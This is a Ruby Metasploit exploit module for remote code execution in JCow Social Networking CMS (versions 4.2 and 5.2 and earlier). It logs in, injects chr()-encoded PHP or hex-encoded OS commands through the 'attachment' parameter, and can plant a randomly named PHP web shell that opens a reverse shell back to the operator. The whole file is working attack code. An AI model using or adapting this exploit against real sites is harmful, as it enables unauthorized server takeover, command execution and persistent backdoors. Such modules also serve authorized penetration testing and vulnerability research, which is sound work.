##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'


class MetasploitModule < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient


	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'JCow CMS Remote Command Execution',
			'Description'    => %q{
					This module exploits a vulnerability in the JCow Social Networking CMS.
				In versions (4.x: 4.2 and lower, 5.x: 5.2 and lower), 
				authenticated members can trigger php code execution via
				"attachment" parameter.
			},
			'Author'         => [ 'Aung Khant <YGN Ethical Hacker Group, http://yehg.net/>' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'URL', 'http://www.jcow.net/' ],
					[ 'URL', 'http://yehg.net/lab/pr0js/advisories/[jcow_4.2,5.2]_arbitrary_code_execution' ]
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					'BadChars'    => "\#",
					'Space'       => 4000,
					'Compat'      =>{'ConnectionType' => 'find'},
					'Keys' => ['php']			
				},
			'Platform'       => 'php',
			'Arch'           => ARCH_PHP,
			'Targets'        => [[ 'Automatic', { }]],
			'DisclosureDate' => 'Aug 26 2011',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('URI', [true, "JCow directory path", "/"]),
				OptString.new('USERNAME', [ false, 'The username to authenticate as', 'hax0r' ]),
				OptString.new('PASSWORD', [ false, 'The password for the specified username','pwn3d' ]),
				OptString.new('COOKIE', [ false, 'Authenticated Cookie in face of ReCaptCha' ]),
				OptString.new('PHP', [ false, 'Arbitrary PHP code to run' ]),
				OptString.new('CMD', [ false, 'Arbitrary OS Command to run if PHP\'s os cmd execution is not' ]),
				OptString.new('SHELL', [ false, 'Get PHP Reverse Shell back to your Box'])
			], self.class)
	end

	def check
		uri = ''
		uri << datastore['URI']
		uri << '/' if uri[-1,1] != '/'
		res = send_request_raw(
			{
				'uri' => uri
			}, 25)

		if (res && res.body =~ /name="Generator" content="Jcow Social Networking Software. ?([0-9]\.[0-9])/)
				ver = $1
				print_status("Target Jcow version is #{ver}")

				vers = ver.split('.').map { |v| v.to_i }

				if (vers[0] == 5) and (vers[1] < 3)
					return Exploit::CheckCode::Vulnerable 
				elsif (vers[0] == 4) and (vers[1] < 3)
					return Exploit::CheckCode::Vulnerable 			
				elsif (vers[0] < 4) 
						return Exploit::CheckCode::Vulnerable 			
				else
					return Exploit::CheckCode::Safe
				end
		end
		print_error("Unable to determine exploitability. Go Exploiting.")
	end
	
	def exploit
		
		uri_base    = ''
		uri_base << datastore['URI']
		uri_base << '/' if uri_base[-1,1] != '/'

	
		cookie = datastore['COOKIE']		
		if (cookie == nil)
			print_status("Trying to login as #{datastore['USERNAME']}")
			cookie = get_login_cookie(uri_base)
			if (not cookie)
				raise RuntimeError, 'Unable to login!'
			end
			print_status("Logged in successfully (cookie: #{cookie})")
		else
			print_status("Using authenticated cookie:  #{cookie}")
		end
		
		if (datastore['PHP'])
			print_status("Executing PHP Code: #{datastore['PHP']}")
			run_code(uri_base,cookie,datastore['PHP'])
		end
		
		if (datastore['CMD'])
			print_status("Executing CMD: #{datastore['CMD']}")
			run_code(uri_base,cookie, datastore['CMD'],'os')
		end
		
		if (datastore['SHELL'])
			print_status("Trying to pwn a shell")
			get_reverse_shell(uri_base,cookie)
		end

	end


	def get_login_cookie(uri_base)

		cookie = nil

		res = send_request_cgi(
			{
				'method'    => 'POST',
				'uri'       => uri_base + '?p=member/loginpost',
				'vars_post' =>
					{
						'username' => datastore['USERNAME'],
						'password' => datastore['PASSWORD']
					}
			})
		if (not res or res.code != 302)
			print_error("Failed to login")
			if (res.body =~ /<script type="text\/javascript" src="http:\/\/www.google.com\/recaptcha\/api\/challenge/)
				print_error("Recaptcha Enabled\r\nProvide Authenticated Cookie")
			end
			return nil
		end

        if (res.headers['Set-Cookie'] =~ /PHPSESSID=(.*);/)			
            cookie = $1
		else
			print_error("Unable to get authenticated cookie")
			return
        end
        
        cookie
	end

	def run_code(uri_base, cookie, code, mode='php')

		cmd = nil
		
		if mode != 'php'
			cmd = 'error_reporting(0);print+`' << Rex::Text.to_hex("#{code}",prefix = "%") << '`'
		else
			cmd = 'error_reporting(0);eval(' <<  code.unpack("C*").collect{|x| "chr(#{x})"}.join('.') << ')'
		end
		
		
		data = "page_id=0&page_type=u&message=hello&youtubeid=0&attachment=#{cmd};//"
		res = send_request_cgi(
			{
				'method'    => 'POST',
				'uri'       => uri_base + '?p=streampublish',
				'data' 		=> data , 				
				'headers'   =>
					{
						 'Cookie' => "PHPSESSID=#{cookie}"
					},
			})	
		if (res)
			if (res.body.to_s.length > 0)		
				is_session_expired(res.body.to_s)	
				print_status("#{mode.upcase} Command Output from the server:")
				print("\n" + res.body.to_s + "\n\n")
			else
				print_error("No data returned from the server")
			end
		else
			print_error("Connection Timeout from the server")
		end
		
	end
	
	def is_session_expired(pg)
		if (pg =~ /please login first/)
			raise RuntimeError, "Your Login has expired"
		end
	end
	
	def get_reverse_shell(uri_base,cookie)
	
		cmd_php = '<?php ' << payload.encoded << ' ?>'

		shell_file =  'files/' + rand_text_alphanumeric(6) << '.php'
		
		shell_url = uri_base + shell_file
		
		print_status("Uploading the payload: " << shell_url )
		
		encoded_shell_file = shell_file.unpack("C*").collect{|x| 
		"chr(#{x})"}.join('.')
		encoded_payload = payload.encoded

		cmd = "file_put_contents(#{encoded_shell_file}, $_SERVER['HTTP_X_CMD'])"

		data = "page_id=0&page_type=u&message=hello&youtubeid=0&attachment=#{cmd};//"
		res = send_request_cgi(
			{
				'method'    => 'POST',
				'uri'       => uri_base + '?p=streampublish',
				'data' 		=> data , 
				
				'headers'   =>
					{
						  'X-CMD' =>  cmd_php,
						  'Cookie' => "PHPSESSID=#{cookie}"
					},
			})

		if (res)
			if (res.code.to_i > 200)
				print_error("Fail to upload : #{res.code} #{res.body[0,500].inspect}...")
				return
			elsif (res.code == 200)	
				is_session_expired(res.body.to_s)
			end	
		end	

		print_status("Uploaded successfully")
		print_status("Getting the shell")

		res = send_request_raw(
					{
					    'global' => true,
						'uri'    => uri_base + shell_file
					})
		handler
	
	end

end
